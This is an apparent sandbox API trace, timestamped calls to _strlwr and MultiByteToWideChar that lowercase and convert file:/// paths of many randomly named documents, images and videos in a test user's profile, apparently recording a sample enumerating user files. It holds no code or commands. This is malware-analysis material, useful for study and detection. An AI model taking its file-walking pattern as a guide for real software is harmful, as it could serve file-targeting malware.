	[0098.884] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/LO%20AG96uQe3kgrd-cV.docx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx"
	[0098.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 118
	[0098.885] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/VKN5CS.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods"
	[0098.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 66
	[0098.885] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/EA%20ZCRgZ.pps" | out: _Str="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps"
	[0098.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 51
	[0098.885] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/7BmJAQAPh.flv" | out: _Str="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv"
	[0098.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 48
	[0098.885] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/M0PUcZV9MVtq89/LYlrE2qKP54wvCJa5uIu.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png"
	[0098.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 89
	[0098.885] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/Mw00S7VwOP-1EB3CeliR.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg"
	[0098.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 74
	[0098.885] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/bNUDyFuvWHUv-Byl.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx"
	[0098.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 58
	[0098.886] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/46pyemMg5U/v6XSq22m7SOI-9t6H-O.flv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv"
	[0098.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 93
	[0098.886] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/Ji7RR1qGOIwn_ZNELP.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif"
	[0098.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 96
	[0098.886] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/6Yy1YkJSM6.odt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt"
	[0098.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 57
	[0098.886] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/XpSzO2H.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv"
	[0098.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 60
	[0098.886] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/IBCczXULcE5FcBA-jQAa.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp"
	[0098.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 80
	[0098.886] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/prneXR%20mfYlj1T2oH.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx"
	[0098.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 117
	[0098.887] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/vAuKXB2bJUYJX-GAJ.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv"
	[0098.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 64
	[0098.887] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/Amp_KB-VbR2dHX15M.docx" | out: _Str="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx"
	[0098.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 59
	[0098.887] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/aXLrt.csv" | out: _Str="file:///c:/users/aetadzjz/documents/axlrt.csv") returned="file:///c:/users/aetadzjz/documents/axlrt.csv"
	[0098.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 46
	[0098.887] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/PBp%20_rThBGpSCKeS8goz.flv" | out: _Str="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv"
	[0098.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 60
	[0098.887] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/shhSKBDp1M-xnK_4%20J/0B7hRZ8fr.odt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt"
	[0098.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 111
	[0098.887] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/5a8ZeskP_E.docx" | out: _Str="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx"
	[0098.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 52
	[0098.888] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/oF4iDAer6R29BLd.doc" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc"
	[0098.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 112
	[0098.888] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/aRIEOMV7R.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp"
	[0098.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 75
	[0098.888] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/hk3cbszZ.flv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv"
	[0098.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 71
	[0098.888] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/8D7-G4x_lgzHUEe.flv" | out: _Str="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv"
	[0098.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 53
	[0098.888] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/TFSYWj%206WOkL.doc" | out: _Str="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc"
	[0098.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 53
	[0098.888] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/VHI25HUJIBCzP2MVNbex.png" | out: _Str="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png"
	[0098.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 59
	[0098.888] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/Ld3F.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx"
	[0098.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 76
	[0098.889] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/C7UMTYR5UW74SWGh.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png"
	[0098.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 109
	[0098.889] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/pu9myBzfyCy.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp"
	[0098.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 104
	[0098.889] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/mmaHI-g_FUfFb.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif"
	[0098.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 106
	[0098.889] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/VYu23pd0P.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv"
	[0098.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 72
	[0098.889] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/vR0Ab02UJIdXw.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf"
	[0098.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 73
	[0098.889] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/shhSKBDp1M-xnK_4%20J/jT2b9Xgk.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx"
	[0098.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 111
	[0098.890] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/fc88IUVgWEJ3y_pIRp.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt"
	[0098.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 89
	[0098.890] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/bEvjyszQr-.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif"
	[0098.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 57
	[0098.890] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/iy%20RcUc.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv"
	[0098.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 56
	[0098.890] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/shhSKBDp1M-xnK_4%20J/0WIVBf.csv" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv"
	[0098.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 108
	[0098.890] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/DwdQwqIkYamUdulD%20jx.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf"
	[0098.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 92
	[0098.890] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/khUIwj64lMGtzh.jpg" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg"
	[0098.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 61
	[0098.891] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M8jaWqgwNFk3r.pdf" | out: _Str="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf"
	[0098.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 52
	[0098.891] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/M0PUcZV9MVtq89/SrrtiG0h57md7foq.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png"
	[0098.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 85
	[0098.891] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/OFu_JX%20YuimDKwMU_vEk.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp"
